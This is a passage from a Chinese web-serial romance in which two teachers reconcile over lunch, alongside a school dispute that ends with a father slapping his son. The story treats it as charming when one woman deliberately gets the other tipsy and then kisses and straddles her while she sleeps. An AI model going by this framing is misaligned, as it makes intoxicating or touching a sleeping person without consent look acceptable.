“胡思乱想,以己度人!” “是了,是我以己度人。”林筝墨不好意思起来,“那么中午你会和我吃饭吧?” “几点?” “放学在学校门口等你。” “好。”简越将自己的手从林筝墨手心抽离,看了眼时间,“哎,第三节有课,得回去了。” 林筝墨心头一阵落空,怎么牵得好好的不让牵了,但她不说话,只是直勾勾看着简越。 简越接收到她的信号,“怎么了?” “你能再给我牵会儿吗?”林筝墨白皙的脸颊泛着娇嫩的粉晕,“我牵到出操场就松开。” “以什么身份?”简越唇角有不易察觉的弧度,目光闪闪地看着林筝墨。 林筝墨视线撞进她深棕色的瞳仁里,有些羞怯地试探:“同事?” 简越反将一军:“哦,同事之间会牵手吗?” 林筝墨稍稍偏过头去,心想,简越这是什么意思呢? 做个阅读理解…… 问以什么身份是什么意思呢?她想得到什么答案呢?刚刚回答同事的话是不是正确答案呢?还是说她想知道我的想法?所以我应该说点什么吗?还是说她只是一时兴起随口一提,并没有暗含的意思? 林筝墨脑袋快爆炸了。 啊啊啊啊啊! 不可以当怂货,林筝墨暗自给自己打气。 “女朋友可以吗?”林筝墨脱口而出,“以女朋友的身份可以吗?” “不可以。”简越是笑着说的,“要上课了,走吧。” “那你问我做什么呢?”林筝墨跟上步伐,有点委屈似的:“好像在捉弄我。” “没有捉弄你。”简越敛下笑意,“我就问问。” 好吧。 她就想知道林筝墨敢不敢,敢不敢说出女朋友三个字。 这是一种试探,但简越不会承认的。 “那,那女朋友不行,就以前女友的身份。”林筝墨不到黄河不死心,再度试探,手背轻轻贴在简越手背上,却是不敢抓握的。 简越被她皮肤的温度烫到,侧目去看她,忽然觉得她说话的语调很可爱,有种破罐子破摔但我就是要牵你的局促感。 简越故意:“啊,那前女友就更不行了。” “可是刚刚都牵了呀。”林筝墨秀眉微皱,似是费解,觉得简越就是胡说八道,就是搪塞,就是不想。 “是啊,原本也没那么在意,倒是你提醒我了,前女友是不可以牵手的。” “天呐。”林筝墨忽的一阵懊恼,“到底要怎么样才能让你同意和我牵个小手!” “怎么样都不可以。”简越故意中的故意,甚至她觉得自己的故意有点明显了。 林筝墨内心不是滋味,可隐隐约约好像嗅到一点点不对劲,总觉得简越是在故意,但是她没有证据。 距离操场大门大概还有两百米左右。 真苦恼,她到底是什么意思呢? “可是,是你叫我过来的呀,我现在手冷了,必须要牵你才能好。” 不管了,先牵了再说。 林筝墨食指贴过简越的手背,反手一握,捏着简越的手心,五指穿插过去,与她十指紧扣。 意料之外的,简越并没有挣脱。 咦? 服了!原来她居然是这个意思! 得到默许,林筝墨妄自大胆起来,指腹轻轻在简越掌心摩挲,有点挑逗的意味。 逗你逗你逗你。 臣服吧臣服吧臣服吧! 简越不语,那种酥痒从掌心蔓延至上,一路燃烧着整个身体,心跳扑通扑通,像脱了绳的鸟儿,扑腾的翅膀震着胸腔。 她还挺敢摸。 “咳。” 林筝墨手指停下,明知故问:“怎么了?” “你自己清楚。” 林筝墨心想,我当然清楚了,可你纵容我是什么意思呢……难道你不想吗? 她认为简越的拒绝是一种虚假的拒绝,内心依旧是迎合的,这结论让林筝墨非常雀跃。 她想更主动些。 “中午去我家吃饭吧。” “不是去沈奶奶那里?” “不,我改变主意了。”林筝墨的拇指在简越的虎口来回拨弄着,“我……我想做饭给你吃。”—— 作者有话说:嗯…… 吃点什么呢? 1.清蒸林筝墨 2.爆炒林筝墨[彩虹屁] 第92章 第九十二章 喝了睡 第九十二章 南中每天中午放学堪比饲养场放猪, 饥饿的可爱小猪们飞奔出来,家长们则拎着饭盒,站在校门口翘首以盼。 简越在2班上完最后一节课,慢条斯理收拾好电脑包, 准备撤场。 1班就在隔壁, 打算和赵筱筱说一下张新百的事情, 走到门口一瞅,发现赵筱筱正拉着沈礼萍在蛐蛐什么。 眉飞色舞, 挤眉弄眼, 双手并挥。 赵·演说家是开始说自己早上的事迹了? 简越轻咳一声,轻轻敲了敲教室的门,提示她们不要太投入了。 听到声音, 赵筱筱注意过来,瞬间噤声。简越立在门前,递给她一个眼神, 示意她到走廊来。 赵筱筱侧目对沈礼萍说:“他就是有这么贱,我还没说完呢, 你等我一会儿嗷。” 教室里的学生已经溜得七七八八, 大家都吃饭去了, 简越把赵筱筱叫到角落,同她交谈起来。 看赵筱筱这样子应该还在生气, 嘴巴都快歪天上去了, 眼珠子疯狂往侧边斜, 就是不看简越。 “还生气呢?” “哼。” “我等会儿要去找你林老师吃饭,时间紧,现在先长话短说。” 一听到林筝墨,赵筱筱的小歪嘴儿耷下来, 变成抿唇笑,“吃饭,你们和好啦?” “我和你说说张新百的事情。”简越直接跳过那个话题,切入正题:“这件事是他不对,我知道,但我没让他道歉是有原因的。”简越靠近一些,在赵筱筱耳边低语。 一五一十讲出来。 肉眼可见赵筱筱表情变得非常难看,“他这么变态!” “嘘。”简越做了噤声的动作,眼神严肃:“你明白吗?” 赵筱筱是个非常聪明的女孩子,该机灵的时候那是相当机灵的,可简越说的那些,依旧让她非常受不了,甚至到了恶心的地步。 筱筱一张脸皱成褶子,一阵恶寒:“那他这病得治啊!” 简越一句话给她戳回去:“那也不是你给他治,你现在只需要远离他就好,至于其它的,我和你林老师有办法。” “难怪他贼眉鼠眼嘟,看人眼神也不舒服。”赵筱筱恍然大悟:“我就说,和我都处不了的人,能是人吗?” 简越:“” “姐,而且他真的好装,空了你去查一下监控好不好,算我求你了看看他啥样吧!”说起这个,赵筱筱似乎又很委屈,眼眶湿漉漉的。 简越于心不忍,在她脑袋上摸了摸,安慰她:“对不起,今天是我的问题。” 赵筱筱眨了眨眼睛,摇头,“可是我真的好伤心” 简越:“不伤心了,等会儿微信转你两百块买点东西吃,不告诉你妈。” 赵筱筱原本想哭,“呜”一想到二百块,没忍住笑出来:“呜噗——好好吧,那你要记得转哟,择日不如撞日。” 简越当着她面拿出手机,发了个红包。 见赵筱筱眼睛圆溜溜盯着,眼底分明还有泪光,忍不住心软,又加了二百。 简越手机给她看,“这样行吗?好了没?” 赵筱筱欢呼:“行!那如果我每天都和李新百吵架,月入过万不是梦!” 简越:“?” 她真够莫名其妙和无厘头的。 * 林筝墨第二节课就回家了,外卖了一点食材,开始研究菜谱。忙活大半个上午,摆了一桌的好菜,终于到了心心念的饭点。 [我到楼下了。]——简越的消息。 收到这条消息,林筝墨迅速起身,将大门打开,往电梯那边看,她倚着门框,看着电梯上的红色数字:1、2、3 期待一个人出现,就连电梯数字跳动的时候,心跳也会加快呢。 一直到“8”,轿厢的门打开,简越出现在林筝墨的视线里。 林筝墨斜靠的身躯挺直,唇角无意识上扬,两只手垂下来,待简越过来。 简越从电梯走出来,问她:“你怎么站门口?” “等你。”这不明知故问吗。 让她进屋,林筝墨弯腰去帮拿拖鞋,放在门口,在简越接过拖鞋的时候,顺手接过她的电脑包。 很久没来公寓了,简越有些拘谨。 林筝墨就站在她旁边,两人挤在狭窄的玄关里,弯腰换鞋的时候,瞥见林筝墨的拖鞋,和自己正在穿的是同款。 或许是太近了,简越忽然闻到林筝墨身上的气味,好像是淡淡的无花果香味,和上午在操场的时候味道不一样。 哦,她喷香水了。 吃个饭而已,搞这么隆重干嘛呢,但话又说回来,怎么怪好闻的 一些乱七八糟的想法在脑袋里跳跃,简越慢悠悠穿好鞋起身,佯装镇定:“好了。” “进来吧。”林筝墨顺手将电脑包放下,忽然道:“衣服脱不脱?” 简越心脏重重跳了下:“啊?” “我说大衣。”林筝墨笑着看她。 简越吓一跳,后知后觉自己敏感过头,天呐,只是来吃饭,人家问脱不脱衣服,自己怎么反应这么大。 “挂哪?” “放沙发就好。”林筝墨指了指方向,“开了空调不会冷的,你脱吧。” “嗯。” 慢条斯理脱下,那边林筝墨添饭摆筷,让简越过去吃。 温馨的小木桌上,摆放着四道菜,白灼虾、口蘑炒肉、小素菜和一道汤。这些都是简越爱吃的,曾经俩人同居那段时间,林筝墨对简越的口味了如指掌。 饿了。 好馋。 坐下,对方推来一碗小米饭,粒粒分明,饱满清香。 “吃吧吃吧。”林筝墨看着简越,眼底漾开笑,“上到最后一节课一般比较饿,先填饱肚子再说。” “嗯。”简越不客气起来,夹了口蘑炒肉,合着一口米饭慢慢咀嚼着。 好吃。 好好吃。 好好好吃。 吃到美食心情容易好,人之常情,心中填充着极大的满足感,那种久违的温情再次席卷上来,包裹着简越的内心。 所以,林师傅出逃这半年,是去了新东方修炼了是吗? 她一边咀嚼一边看林筝墨,对方在剥虾。林筝墨有一个习惯,就是做什么事情都是细致认真的,连剥虾也不例外,毫不夸张地说,连看她剥虾都是一种享受。 简越的目光毫无知觉地陷进去,纤莹的手指捻掉虾壳,一点点,一点点,仔仔细细。 头顶吊顶的光晕散开,落在林筝墨的脸上,林筝墨五官里最漂亮的就是鼻子,然后是嘴唇,她的鼻子是高挺且流畅的鼻子,像高超的人像师费劲心思捏出来的作品,竟然找不出一点瑕疵。 通常来说,看到她的鼻子就会忍不住看她的嘴唇,而视线落在她的嘴唇,就会忍不住想亲吻她。 事实上,简越很多次吻林筝墨,就是这个心路历程。 而现在 糟糕。 好想亲。 就不应该来吃什么破饭。 这女人今天异常诱人。 苍天啊。 我犯罪。 “好了。”林筝墨忽然抬起眼来,将剥好的虾放在简越碗里,腼腆地笑着:“你一只,我一只,我给自己也剥一只。” 简越心脏疯狂跳动,搏动着心房砰砰砰,哐哐哐,嗷嗷嗷。 今日菜市场小小基围虾占据了简越的敏感神经,那些蛰伏在内心的,一直隐忍的情绪快要破茧而出,近日频繁被邀请,简越快受不了了,守不住城池了。 “我来剥吧。”简越刚要去夹。 林筝墨制止她,“不要,我来,你快吃,我没那么饿的。”她指了指旁边的蘸汁,“蘸这个试试。” “哦”简越迷迷糊糊照做。 虾虾好吃。 菜菜好吃。 但关注点完全不在这儿。 她想看林筝墨,看林筝墨的表情和脸,但不能明目张胆,偶尔,只能自视平常看一眼,目光又漫不经心地收回,或是对方搭腔时,再看一眼。 “所以和筱筱说了没?” “说了,她听进去了。” 林筝墨松了口气,“那就好。”忽然想起什么,问:“对了你喝不喝点什么?今天点外卖的时候顺手捎了一些饮料。” “可乐有吗?好久没喝了。” “有,我给你拿。”林筝墨起身去开冰箱,拿出一瓶可乐,又捎上一瓶白葡萄酒。 前几日和张老师小酌,酌上瘾了,今日让张老师推荐,张老师说,新手喝喝白葡萄酒也不错。 林筝墨往杯子里倒酒的时候,简越非常惊讶,“吃饭喝白的?” “白葡萄酒,不算。”林筝墨拧开盖子,“刚刚尝过一点点,甜甜的,挺好喝。” 简越把可乐推到一边,“那我也喝这个。” 林筝墨欣然,给简越倒了一半,自己满上,菜没吃几口,酒倒是喝起来。 两人对酒研究都不深,不常喝,酒量也都一般。但从林筝墨的表情看来,这酒应该和果酒差不多,简越便也没怀疑,问题不大。 “你尝一尝。”林筝墨目光闪闪,煽动她:“是不是甜甜的?” 简越端起酒杯抿了一口,微甜,不涩,入喉还有一股白葡萄的清甜,虽然有酒的味道,但比起白酒是要温和许多了。 “嗯,好喝。”放下酒杯,忍不住自嘲:“怎么吃个午饭开始喝酒了。” 林筝墨一只手撑着下巴,看着简越笑,目光闪闪:“想什么时候喝就什么时候喝啊~” 简越又尝了一口,这次不是细抿,而是一小口,感慨:“是挺好喝的。” 林筝墨暗戳戳提醒她:“不要喝太多哦~哦~不过也没关系,你待会儿要是想睡觉,可以去我床上躺一会儿。” 简越眉心重重跳了一下,好不容易平复下去的心情又被勾起。 什么去床上睡一下。 谁要去你床上睡一下。 在暗示什么就,就很难不让人多想好吗? 她抬眼去看林筝墨,发现林筝墨居然毫不掩饰地看着她,较平日收敛的眼神,此刻居然肆无忌惮起来,如同一把摄人心魄的钩子,牵动着简越的内心。 她故意这么看简越的,要说的那些话都在眼睛里了。 对视即升温。 唰的一下,简越的脸火火燃烧起来,仿佛酒精一百倍加速,不过一分钟就奏了效,疯狂在血液里奔跑起来。 “哦,我不会喝醉的。”简越为了证明自己,又喝了一口,心虚而谈:“像这种低度数的酒,也不至于到那个程度。” “嗯”林筝墨依旧含笑看她。 简越被看得不自在,心头总是软绵绵的,“吃完我就回家。” “好呢~” 林筝墨不反驳,也不语,食指摩挲着酒瓶,内心只有一个想法:酒不是顺带买的,是故意买的,据说度数虽然不高,但后劲很大,所以你能不能快点醉。 晕乎了我陪你睡午觉!! 第93章 第九十三章 再给我一次机会 第九十三章 酒酣耳热, 微醺。 但也只是脸颊泛红,完全没到烂醉的地步,若要到林筝墨所期待的程度,恐怕是有点难度。 “吃饱了。”简越稍稍往后一靠, 指尖揉着太阳穴, 红着脸, 缄默不语。 “要不要歇会儿?”林筝墨非常讨巧,知道简越不会去房间, “沙发躺一会儿比较好。” 简越看了眼时间, “我还是早点回去吧。” 林筝墨怎么可能让她走,绑也要把人绑下,面不改色劝说她:“可是下午没课要上吧?” 简越点头。 “那不着急啊, 就在这里啊,躺一会儿嘛。”贼喊捉贼,理直气壮:“我又不会把你怎样!” 不给简越反驳的机会, 起身开始收拾碗筷,折身进了厨房, 锅碗瓢盆在泡沫里发出清脆的声音, 简越坐在椅子上, 实在敌不过犯困。 躺会儿就躺会儿吧。 沙发是棕黄皮质沙发,软塌塌的, 有推拉功能, 底座往下一拉, 另一半拼接起来就是一张床,平常要是躺在这儿想搁个脚什么的非常方便。 上面放着一床厚毯子,简越把毛衣脱下,只穿一件内衬, 裹着温暖躺下。 困。 热。 脸巨烫 厨房稀里哗啦的水声流过耳边,空调的温度暖烘烘的,很适合小憩。 简越阖上眼,好像有一团火苗在炙烤着她的皮肤,下巴埋在毯子里,嗅到林筝墨留下的气味,寡淡而寡淡地淌过心间,有点像夏日花园里暗自开放的小茉莉。 她听见沥水声,拖把粘粘在地板来回推拉,水龙头哗啦啦落在不锈钢盥洗池里。 酒精令她的感官无限放大,甚至听见林筝墨擦手的声音。 不一会儿,林筝墨出来了,趿着拖鞋一步步走过来,到沙发旁停下。 简越这时候特别想睁眼,可眼皮子像缝了线似的,困答答的,怎么都睁不开。 那香味更近了,林筝墨蹲在简越身旁,注视片刻,随即一只手贴在简越额头,冰冷的掌心触碰着温热。 手掌从额头偏侧落下,贴着侧颊,单边捧着简越,像是抚摸一只可爱的小动物那般小心翼翼。 简越唔了一声。 林筝墨却没撤退,她的触碰并没有太过于强烈的情欲,反而显露出一种怜惜、温存或者说是单纯的想要接触罢了。 “简越。” “唔。” “好乖。” 简越的睫毛轻轻颤动几下,却始终没睁开眼来。 林筝墨倾身过去,去抱简越双肩,耳朵贴在胸口,听她的心跳。 是极其迅速的,强烈迅疾的跳动,是某种不易显露的内心在低语 想一起睡觉,又觉得身上有油烟味,便去浴室冲个了澡,一身干净清爽出来,发现简越睡得正香。 她站在沙发旁,只花了两秒就做了决定。 不管了一起睡!!!! 她偷摸着把沙发另一半拉出来,下层是滑轮设计,不会吵到上面睡的人,拉出来过后轻轻往上一咔,完美衔接。 给设计师加鸡腿。 软绵绵的午睡小床成啦!!! 林筝墨坐下,拢了拢肩上的头发,掀开毯子一角,美美躺下。 她甚至拉过简越的手,把简越的胳膊拉过来当枕头,就是这么肆无忌惮。 连之后的措辞都想好了:我也喝醉了不知道发生了什么真是好奇怪啊莫名其妙就躺在这里了呢。 安心闭眼睡…… 却是睡不着的,内心躁动不安,脑袋贴在简越手臂和侧胸之间,轻轻磨蹭着。林筝墨一直很喜欢这个姿势,很有安全感。 香。 像一把小刷子轻轻挑弄着神经。 这么一闻,林筝墨更睡不着了 蠢蠢欲动,却又不能动。她微微抬头,凝目,从这个角度便能看见简越侧脸的弧度。 眉目清泠,神仙下凡似的,只需要看一眼,幸福感就袭上心头,像一道漩涡,又迅速陷入其中了。 想亲。 超想亲。 林筝墨眼神愈发迷失了。 简越的诱惑力和林筝墨的自制力在打架。 蠢蠢欲动。 偷亲犯法吗? 以前一天要亲十几二十次呢,奖励自己一次怎么了? 但话又说话来,以前女友的身份亲吻对方的话,是不是有些不妥呢? 被发现会生气的吧? 可是可是 林筝墨看着简越,颅内掀起暴风雨,反反复复。 亲一下脸不会发现的吧。 简直受不了自己,虽知逻辑自洽到这个地步,但还是不停告诉自己,亲一下脸不犯法的。 亲—— 亲亲亲亲。 要打要杀亲了再说! 身子往前倾,目光瞄准简越泛红的侧脸,几乎没有太多犹豫,林筝墨吻了上去。 也许只是一时兴起,没有太多心理准备,所以嘴唇触碰上去时,那种颤栗的感觉诞生得很突然,几乎是超出了可控范围。 太久没吻了。 只是接触到对方脸颊,便忍不住发出一声闷哼。 下意识的哼唧,让林筝墨自己也很尴尬。 就有种:我本来只想和美女打个招呼就走,现在还想拉着人家来个法式深吻。 可怕! 亲了小脸还想亲嘴! 那个吻从左边侧脸缓缓向下移,吻过下颌的位置,停下,恍惚之间林筝墨又瞥见简越的脖子。 林筝墨偏过头,冷静,一秒,两秒,三秒,冷静是什么?把冷静扔垃圾桶好了。 她忽然支起身来,双手支撑着,跨坐在简越身上,由上而下凝视着简越。曾经她也以这样的姿态注视过简越,那时候她们相当亲密,会给最深最热烈的吻给对方,那样缠绵。 深知这个姿势一点都不清白,若是简越现在睁开眼,不用跳黄河也直接洗不清,人赃俱获! 可人就是动物啊。 面对喜欢的人就是经不住诱惑啊。 林筝墨看着简越的嘴唇,又抿了抿自己的嘴唇,非常懊恼。 正懊恼,身下的人有了动静,简越眼皮半掀,忽然睁开眼来,一双好看的杏眼迷迷濛濛的,像是注了水那般荡漾人心。 不知道她还晕不晕,醉不醉,总之她直勾勾看着林筝墨。 林筝墨心跳漏了一拍,想从简越身上下去,却也来不及了。 “我——”她想说话,想解释,却自己心虚,一句完整的话都吐不出来。 “你想干嘛呢。”简越凝视着她,语调并不像眼神那般迷糊。 这状况,估计是醒了会儿了,不知道先前亲亲被发现没有。 林筝墨相当局促,“哎——我——” “你干嘛亲我?”简越替她说了。 “没有。”下意识否认,撒谎也如此明显。 “亲了就亲了,为什么不敢承认?”简越看着她,视线从她的眼睛移动到嘴唇,又上移,两人又对视。 四目相触,好像有什么东西在发酵,加上林筝墨又坐在简越的腿上,这姿态有多暧l昧是心知肚明的事。 说没有感觉是骗人的。 而且有感觉的不止一位。 简越很想摸林筝墨的腿,但忍住了。 林筝墨很想被摸腿,但也忍住了。 都觉得不合适,所以绷着。 两位忍者神龟眼神博弈,刀光剑影藏在眼波里,谁最先蠢蠢欲动,谁就最先败阵下来。 大概十几秒,林筝墨受不了,简直受不了简越这样看着她,整个人软下来。 “我亲了。”总得有人承认,林筝墨卸下伪装,贴近一些,近到再一点点气息就要交融在一起,一双琥珀色的眼睛看着简越,低声说:“我是想和你亲。” 嘴唇翕张时,热气拂在简越的脸颊上,气若游丝,吐气如兰。 简越的嘴巴跟着动了一下,神态却是紧绷的,她深吸一口气,在克制自己。 “所以你不想亲吗?”林筝墨食指贴着简越的下巴,指腹轻轻摩挲着。 她自始至终都很近在说话,几欲要吻上去,却是没吻的,这是一种明目张胆的诱惑,也在等简越给一个答案。 简越受不了这种撩拨,绷着最后一根弦说:“你真的不会再离开了吗。” 林筝墨眼底的柔情忽然生出几分怜惜,“不会。” “要怎么相信你。”简越垂眸,不再对视,“不会突然消失,突然退缩,突然什么都没有了吗。” “不会。”林筝墨捧着她的脸,让她看过来,“以前的事不会再发生了,相信我” 简越的表情肉眼可见变得很难过。 那些绝望的瞬间浮光掠影般盘旋在脑海,如同梦魇挥之不去,她要如何开口,诉说秋天真的很难捱,冬天时,难过已经抵达巅峰,度日如年,度秒如年。 所谓的海浪咆哮,为什么没有及时抵达,是因为它过了最应该爆发的时刻。 “可是你走的时候那么果断,果断丢下我一个人,那一瞬间我觉得我不是你的恋人,而是一件行李,可以说丢就丢。” 林筝墨的心猛烈刺痛,一些刻意忽略的过往,此刻不好的记忆同样找上了她。 那是不争的事实,再次让她觉得自己是个很差劲的恋人。 “对不起”眼眶先红的是林筝墨,眼泪无意识落下,滴落在简越的脸上,好像也感染了简越的情绪,一同落泪。 连哭泣都这么有默契,没有太过于激烈的呜咽,只是眼泪单纯在流。 “对不起真的对不起。”林筝墨忘了自己在哭,只是在帮简越拭泪,一边擦一边告诉她:“简越,你对我一直很重要,最,最重要。我心情最差最绝望的时刻,也是靠想念你来支撑着。可是,可是好像自己也做得不对,不找理由了。” 两个人都像装满水的气球,同时碰在一根尖刺上,包裹的情绪全都炸裂开来。 “那你不回来?”简越终于开始释放情绪:“我不让你回,你就不回?” “我不敢见你。” “你不敢,那你不怕我爱上别人?” “我也怕。” “那你凭什么不回来?你哪里来的这份自信?” “没有这份自信。”林筝墨上一秒刚擦过眼泪,下一秒又热泪上涌:“完全没有这份自信,害怕所以马上坐车回来了,路上想了很多,告诉自己要冷静,但下了车就更忍不住了,我想你,我好想你。” 她说话可怜巴巴的,由内而外散发的局促也是真的。简越忽然想起很早以前的林筝墨,那副小鸵鸟的样子就是这样,那时候小鸵鸟哭也是这样。 有几个瞬间觉得林筝墨变了,现在又觉得其实也没变过。 “那你给我道歉。” “对不起。”林筝墨相当干脆,“对不起对不起,说一万遍也可以。” “不想听对不起。”简越给她下台阶:“我给你一个机会,就现在,告诉我,告诉我以后,未来。” 她需要安全感,至少口头上的承诺也能得到一点慰藉吧? “好,我告诉你,告诉你所有未来。” 爱从来都是迫不及待的。 林筝墨深吸一口气,鼓足勇气说:“其实我的想法一直很简单,想春夏秋冬都可以和你一起过,我特别特别期待简单生活,或许有一个属于我们自己的阳台,上面晾我们的衣服,未来,泡泡会变成一只老猫,整天只躺在沙发睡觉,但没关系。你喜欢养花,我们就养花,我要精心照顾你的小花,给它们浇水,就像对待我的所有物一样。我们一起吃饭,一起睡觉,一起上班,一起下班,累了就躺在沙发拉拉手,周末看电影,我弹钢琴给你听,这些事都好简单好简单是不是?可是只想和你一起做,没有你,我的未来没有意义。” 大概真情流露,也是心里话,林筝墨一边说一边哭,简越的眼泪像一根线似的,牵引的人是林筝墨。 林筝墨牵着简越的手,俯身去吻简越眼角的泪。 “对不起。” “不会走了。” “再给我一次机会好不好?” 第94章 第九十四章 被打是你的宿命 第九十四章 “再给我一次机会好不好?” 若是平常, 简越还能强装镇定,可现在林筝墨就坐在她腿上,这要怎么冷静? 也许是因为林筝墨说的话太过于诚恳,有触动人心的部分, 简越确实动摇了。 要拒绝已经很难, 可是要立马答应似乎也不妥, 推推拉拉更没必要。 “如果你不愿意也没关系的。”林筝墨听起来有些悲伤,却还强撑着:“我会继续——” “不是。”简越打断她, 却不忍心再折磨她了, “让我考虑一下。” 林筝墨微愣,随即紧绷的表情释然开来,僵硬的嘴唇瞬间有了上翘的弧度, “好,我不着急,那你考虑一下。” 简越觉得需要时间缓冲, 所以没有立马答应,“给我几天时间。” 选择考虑一下, 已是意料之外的欣喜, 林筝墨觉得有蜜糖罐入心间, 甜滋滋的。 “好。”林筝墨唇角笑意绽放开来,“我等你。” 话已到这份上, 虽然没有复合, 但四舍五入也算松了口。 气氛忽然变得炽烈, 有什么黏稠的情绪在眼波之间暗涌,羞怯偷逃出来,躲躲藏藏,却无藏身之地, 爱太满了总会溢出来。 林筝墨抿着唇看简越,简越也看她。俩人居然同时脸红到不知所措,诡异! “那个” “哪个?” “你要不要从我身上先下去?”简越双手放在林筝墨腿上,轻轻外推。 “等一下。”林筝墨双腿夹着简越的腰,不愿离开。 这轻轻一夹,所暗含的内容太多,一点点挑逗,还有一点撒娇,肢体携来的触感很明显,简越浑身僵木,不自在。 “你想干嘛?” 林筝墨弯下腰,靠得像先前那么近,嘴唇几乎快触碰到简越的嘴唇,却在两三厘米的地方忽然停下。 来这套 早该知道,先前林筝墨已经如此肆无忌惮,现在松了口,更是无法无天。 简越大气不敢出,靠得太近,丧失说话的能力,一股热流自下而上,涌入脑袋,遁入宕机。 林筝墨唇角含笑,一只手抚摸着简越的脸,指尖在皮肤上触摸着。 简越撞进对方热烈的视线里,喉咙滑动了一下。 林筝墨说:“我想亲你。” 虽然从对方的眼底探出这层含义,但依旧直白到让人害羞,简越活了三十一年,忽然有种老脸不知如何放的局促感。 简越:“不行。” 林筝墨放软声线:“求你了” 她这哪是求,明明是光明正大的要,说话时近到嘴唇快要贴上去,媚眼如丝,吐气如兰,柔软的呼吸荡漾在空气里,撩人心弦。 “亲哪里?” “脸可以吗?”林筝墨想也没想回答。 “只能是脸。” 林筝墨快速往脸上啄了下,左边吻了吻右边,小鸡啄米似的来来回回七八下。 简越被吻到含糊:“嗯,不是亲一下吗?” “是一下吗?”林筝墨忽然停下来,笑着看简越:“我以为是不限量。” “你真是——”简越不好说她,只是推开,拿起手机看了眼时间,居然已经下午三点了。 发现微信上有几个未接语音通话,是赵铭打过来的。 回拨过去,才嘟两声,赵铭秒接。 “喂,简主任,你在哪呢?” “在家,睡了个午觉。” “睡这么久,哎呀,李新百那边出了点状况。” “他怎么了?”简越顿感不妙,缓慢直起身来,“什么状况?” 赵铭砸吧嘴:“他拍片啥都没查出来,但他就说他肋骨痛,中邪了似的,刚刚是他妈妈带他去的医院吧?现在李大光也过去了,要让筱筱同学和家长过去说明情况。” 简越哎了一声,从沙发上下来,好看的唇抿成一条线,脸色冷冰冰。 “行,我明白了。” 赵铭:“这个哎,算了,我不说了!!” “嗯,明白。”简越虽然犹豫了一下,还是提出:“麻烦你把监控发我一下。” 这边电话挂断,林筝墨大致询问了一下,非常惊讶,“他还有完没完?” 给脸不要脸,甚是少见。简越自认为后退一步,未想到对方变本加厉,既然如此,势必要给点颜色瞧瞧,若真是要红脸对红脸,那也没办法了。 * 下午三点半,正在自习的赵筱筱被简越带走,一路懵逼被拎上车,简越发动引擎,对后座的赵筱筱说:“系安全带。” 赵筱筱照做,伸长脖子看向副驾驶的林筝墨,乐开了花,“嘿嘿,林老师你也在呢,咋啦咋啦?” 简越气到不想讲话。 还是林筝墨细心解释原委。 赵筱筱却不乐意了,“他到底要怎样?等会儿不会让我给他道歉吧?” 一直沉默的简越开口:“你不用道歉。” 林筝墨非常中肯地说:“我也觉得你不用道歉,不过呢,等会儿不管他和他爸爸说什么,你都不许再激动了。” 简越透过后视镜看赵筱筱,警告:“你也马上十七岁的人了,不要别人说一点点话,你就受刺激,受不了了,要踢人打人了。” “那不是他的问题嘛!谁受得了!”赵筱筱努努嘴:“是他先惹我的!” 简越:“所以呢?” 赵筱筱:“就他那猪脑子,他爸还数学精英呢,也没遗传啊,怕不是垃圾桶里捡来的!” 林筝墨不想笑的,但想到李新百那张脸,和李大光确实出入很大,有垃圾桶捡来的嫌疑。 三人在车上商讨策略,两个大人对赵筱筱的要求是,不管怎样,就事论事,可以不道歉,但绝对不能发火,更不能送人家一拳,到时候落人把柄,不好处理。 赵筱筱内心不安,苟在后座,偷偷咪咪问:“姐,你会告诉我妈吗?” “哦,刚刚打电话给你妈妈了,她在乡下回不来,就派你姐过来处理这事。” “那太好了!” 赵筱筱松了口气 驱车,到医院已是二十分钟后,赵筱筱和赵矜矜碰头,而林筝墨和简越则以学校师长的身份出现,计划是公事公办,不挑明简越的身份。四人一同前往影像科,去看看南城影帝李新百。 工作日,下午人并不多,进去便瞅见了,李新百坐在凳子上,李大光直勾勾瞪着他,父子俩在说什么。 “李主任。”简越上去客客气气打了招呼。 李大光扭过头来,神态冷漠,不咸不淡点了点头,他是国字脸,粗眉毛,两扇眉像倒“八”字竖在眼睛上面,一双菱形的眼睛透着锐利的光,给人很强烈的压迫感。 父子俩虽不像,但居然都可以用粗糙和潦草来形容,遗传学的精髓莫过于此。 “简主任。”李大光视线越过简越的肩膀,看着身后的赵筱筱,“发生什么情况?是这位同学打人吗?” 赵筱筱觉得他有点吓人,下意识往后退了一步,林筝墨扶过筱筱的肩膀,将她护在身后。 赵矜矜站出来,大大方方说:“您好,事情经过有了解吗?男生拍过片了吧?现在是什么问题呢?” 李大光伸手一拽,拽着李新百领口甩过来,指着他鼻子说:“你自己说!” 影帝小李没站稳,险些趔趄,好容易站稳了,开始入戏:“上午被踢了两脚,现在痛得厉害。”说着摸摸肋骨,嘴唇肌肉颤动着:“搞不清是哪里,就是很痛。” 赵矜矜刚要说话,简越快她一步。 “是这样的李主任。”简越公事公办:“我只说明情况,其它的你们自己协商。” 李新百不语,好奇怪,他只是一味地看着林筝墨,不知道在想什么。 林筝墨感受到那道目光,觉得不适,便对视回去,李新百又挪开眼了。 “这是监控。”简越把手机拿出来给李大光看,“您可以看到当时女生在给他捡笔,他突然说了句什么,女生才激动起来,俩人产生了争执的。” 学校的摄像头是没有音频的,所以只有画面,至于俩人真的说了些什么,没有确凿证据。 但视频里,李新百明显比赵筱筱更激动,甚至闹到最后,他指着赵筱筱鼻子,顺手拿起桌上的书,就要砸过去,哪是现在这幅唯唯诺诺的样子。 李大光不信,又把视频看一遍,忽然觉得脸上挂不住,拉过李新百,反手就是一耳光。 啪! 粗大的巴掌拂在脸上。 力道之大,那声音从这头飘到那头,整个走廊都在发颤,连简越都吓了一跳。 “你又在外面给我惹是生非!”李大光反手又是一耳光,达到两面均衡,俗称端水大师。 李新百当场被打懵,整个人左右晃动,差点又没站稳。 李大光掐着他的下巴,拇指和食指分别在两颊掐出两个凹陷,仿佛下一秒就要拎鸡崽拎起来似的,怒声咆哮:“我在家里怎么教你的!!” 李新百被掐得非常狼狈,在李大光的手心里挣扎了一下,含糊着:“爸,被打的是我!被踢的是我!” “你看看你在视频里那样!你还撒谎!你还撒谎!”李大光一点面子也不给:“我看你是皮痒了找打!” 李新百忽然哭起来,他的眼泪是丑陋动物狰狞时挤出来的水光,顺着细窄的眼缝而流,那憎恶的眼色中,分明有一把刀指向赵筱筱,似乎想起什么,他忽然笑起来。 笑声裹挟着阴冷,仿佛医院停尸房的寒意从地上升起,全都附着在这个人身上。 “可是可是我就是很痛啊。”他戳了戳自己的手臂,后腰,大腿,小腹:“全部都,全部都很痛啊!没有人关心我!” “我他妈轰死你!”李大光大手一挥,又要揍过去。 简越眼疾手快,拦了一把。事态已超出可控范围,原来父子都不正常,不拦不行。 